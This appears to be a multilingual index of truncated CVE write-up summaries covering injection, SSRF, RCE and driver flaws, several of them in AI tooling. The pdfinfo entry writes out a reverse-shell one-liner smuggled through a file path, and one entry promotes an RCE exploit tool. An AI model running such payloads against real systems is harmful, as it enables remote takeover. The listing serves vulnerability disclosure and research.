CVE-2022-36231

CVE-2022-36231 ruby gem pdfinfo /dev/null 与 initialize 方法一样，@pdfpath 变量也没有执行任何验证。这使得我们可以利用 ; 进行命令链来执行任意命令。 info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc 127.0.0.1 4444/tmp/f' pp info.metadata 上述代码片段将向 127.0.0.1 的 4444 端口执行一个反向 Shell。 披露详情 2022-07-20 :...

CVE-2023-33405

CVE-2023-33405 Vulnerabilidad de redirección abierta identificada en BlogEngine.NET CMS versión 3.3.8.0 y anteriores Si una solicitud GET a la página default.aspx contiene "years=" dentro de la URL, la aplicación llama a una función llamada "Redirect". Esta función establece varios parámetros,...

CVE-2025-53652-Jenkins-Git-Parameter-Analysis

CVE-2025-53652: Jenkins Git参数插件未验证输入漏洞。 摘要 此漏洞的产生是因为用户控制的输入被不安全地注入到Git检出命令中。 用户输入作为构建参数提供（例如gitParameters），其中可能包含恶意shell命令。 该参数被包装到GitParameterValue（继承StringParameterValue）中，其buildEnvironment方法在不进行清理的情况下将其暴露为构建上下文中的环境变量。 在SCM检出过程中，Jenkins通过build.getEnvironment加载构建环境变量。...

LolLMS < 2.2.0 - Server-Side Request Forgery

A Server-Side Request Forgery SSRF vulnerability exists in parisneo/lollms versions prior to 2.2.0. The /api/files/export-content endpoint processes Markdown image URLs by downloading them via downloadimagetotemp in backend/routers/files.py without any validation, allowing an unauthenticated...

HFS_EXPLOIT_PROJECT

HFSEXPLOITPROJECT 在 HFS 2.3 上使用 Metasploit 进行 RCE - CVE-2014-62 🔖 项目标题 通过 HTTP 文件服务器（HFS 2.3）进行远程代码执行 ⚙ 使用的工具 • Kali Linux • Nmap • Metasploit • 目标：Windows 7 上的 HFS 2.3 🔐 漏洞详情 • 名称：CVE-2014-6287 • 类型：远程代码执行 • 原因：HFS 脚本中未经验证的输入 • 影响：无需认证即可获得 shell 访问权限 🔍 方法论（分步操作） 🔹 步骤 1：信息收集（Nmap） • nmap -sV...

CVE-2018-1000533

GitList 0.6.0 远程代码执行漏洞 CVE-2018-1000533 GitList 是一个现代化的 Git 仓库查看器。 在 GitList 0.6.0 及以下版本中，存在一个将未正确验证的输入传递给系统函数的漏洞，攻击者可以以 PHP 用户权限执行任意命令。 环境搭建 运行以下命令启动 GitList 0.6.0 服务器： docker compose up -d 在运行 poc.py 之前安装依赖： pip install requests 环境搭建完成后，访问 http://127.0.0.1:8080 确认是否存在名为 example 的测试仓库。 漏洞原理...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise 是一个拖放式用户界面，用于构建自定义的大语言模型流程。在 3.0.5 版本中，Flowise 存在远程代码执行漏洞。CustomMCP 节点允许用户输入用于连接外部 MCP 服务器的配置设置。该节点解析用户提供的 mcpServerConfig 字符串以构建 MCP 服务器配置。然而，在此过程中，它会在没有任何安全验证的情况下执行 JavaScript 代码。具体来说，在 convertToValidJSONString 函数内部，用户输入被直接传递给 Function 构造函数，该构造函数会将输入作为 JavaScript...

CVE-2025-58788

SINK: searchProducts 函数未对输入进行验证，导致 $term 变量存在 SQL 注入漏洞。 dropdownDataSearch 函数在 $type= 'product' 时，允许在调用 searchProducts 函数时控制 $term 变量。 POC:...

CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event

CVE-2026-22015 – 通过事件注入无服务器函数环境变量 程序代码（Python Lambda 模拟） lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable overrides debug feature for key, value in event.get'env', .items: os.environkey = value...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720：datamodel-code-generator 中因未经验证的 customBasePath 导致的代码注入 严重性： 高危，CVSS 3.1 7.5 / CVSS 4.0 7.5 （由 CNA VulnCheck 分配） 环境上限（网络服务部署）： 最高 9.8 向量（v4.0）： CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 向量（v3.1）： CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 受影响版本：...

CVE-2021-21234

CVE-2021-21234 CVE-2021-21234 Spring Boot 目录遍历 spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包“eu.hinsch:spring-boot-actuator-logview”。在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。该库的本质是通过 admin（spring boot 执行器）HTTP...

GitLab-CVE-2021-22205-

漏洞影响 在GitLab CE/EE中发现了一个问题，影响所有从11.9版本开始的版本。GitLab未能正确验证传递给文件解析器的图像文件，导致了远程命令执行。 受影响版本 Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 漏洞影响 即将... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205 https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html...

CVE-2024-21513

CVE-2024-21513 CVE-2024-21513 的概念验证（PoC） 漏洞利用原始文档由 Snyk 安全研究团队提供 漏洞利用 CVE-2024-21513 是 langchain-experimental 中的一个漏洞：未经验证的 SQL 查询结果被传递给 Python 的 eval 函数，从而通过基于 SQL 的输入注入实现远程代码执行。 PoC 结构 本 PoC 是一个极其基础的 Flask 应用，内嵌 HTML，用户可以在 SQLite 数据库中输入坐标。 如果用户在 y 值中输入恶意载荷，有漏洞的 LangChain-Experimental 功能会根据 x 值获取...

CVE-2026-40564

CVE-2026-40564：flink-kubernetes-operator 中通过 FlinkSessionJob.spec.job.jarURI 实现的 SSRF Apache Flink Kubernetes Operator 不会检查 FlinkSessionJob（或 FlinkDeployment）资源上的 spec.job.jarURI 字段。任何能够创建这些资源的人都可以将 jarURI 设置为任意 URL。当 operator 协调该资源时，它会从自己的 Pod 内部获取该 URL。该 scheme 可以是 http、https、file 或 Flink...

CVE-2026-81930

Apache Airflow's Snowflake provider did not validate the connection's account and region fields before interpolating them into request URLs. The SQL API endpoint is built as https://account.snowflakecomputing.com/api/v2/statements, so an account value containing /, ? or demotes the intended domai...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE 在分析此漏洞时，我发现 MCPJam Inspector 将 /api/mcp/connect 端点绑定到 0.0.0.0，从而暴露在网络中。该端点接受一个包含 serverConfig 的 JSON 对象，其中包含 command 和 args 字段。 该应用旨在启动 MCP 服务器，但未能正确处理用户提供的值。因此，攻击者可以发送包含任意命令和参数的构造 HTTP 请求，这些请求随后会在服务器上执行，导致远程代码执行 RCE。 最有趣的是，漏洞利用载荷并非任意构造。通过使用 Burp Suite...

CVE-2026-21018

SveService 缓冲区溢出 Samsung SMR May 2026 SVE-2026-0478CVE-2026-21018 受影响版本：Android 14、15、16 披露状态：私下披露 SveService 在 SMR May-2026 Release 1 之前的版本中存在越界写入，允许本地特权攻击者执行任意代码。 该补丁添加了适当的输入验证。 警告：这是一个概念验证（PoC），仅供教育用途。对于任何非学习用途的行为，我概不负责。请知悉。 已在 Galaxy A17 LTE SM-A175F 上测试 英语 摘要 在运行 Android 16 的三星设备上，系统服务...

ThrottleStopPoC

ThrottleStopPoC CVE-2025-7771 ：通过 ThrottleStop 驱动实现任意物理内存和 I/O 端口读写 ThrottleStop 是一个用于监控和纠正 CPU 降频的小型合法应用程序。它有一个驱动程序来协助完成这些任务，而且它基本上没有任何形式的输入验证。 存在漏洞的 IOCTL IOCTL| 漏洞 ---|--- 0x80006498| 任意内存读取 0x8000649C| 任意内存写入 0x80006430| 任意端口读取 0x80006434| 任意端口写入 似乎还存在任意 MSR 读写，但我没能让它们正常工作。 你可以自行研究。 读取 MSR 位于...

CVE-2021-3262

CVE-2021-3262 TripSpark VEO Transportation / NovusEDU 中的 SQL 注入 随 TripSpark VEO Transportation 一起提供的公开“学生班车信息”查询页面接收未经验证的 POST 正文输入，并将其直接拼接进 SQL Server 查询，既未使用参数化查询，也未进行服务端校验。editOEN 参数（学号字段）可被注入。 该注入为盲注：应用程序不会返回数据库错误，也没有值得读取的差异内容。但它仍然可以通过带外方式完全利用，因为数据库连接可以访问 master.dbo.xpdirtree，这会强制 SQL Server...

CVE-2025-3248

CVE-2025-3248 漏洞利用工具文档 简介 本工具用于利用 CVE-2025-3248 漏洞（基于Python的代码注入漏洞），通过构造恶意payload实现目标服务器的远程命令执行（RCE）。该漏洞存在于某Web应用的API接口中，攻击者可利用未验证的代码执行点注入任意Python代码。 重要提示： 本工具仅用于授权安全测试，未经授权的渗透测试可能违反法律。请确保您拥有目标系统的明确授权。 功能特点 ✅ 通过/api/v1/validate/code接口注入恶意Python代码 ✅ 支持执行任意系统命令（如whoami、ls等） ✅ 自定义超时时间（默认10秒） ✅...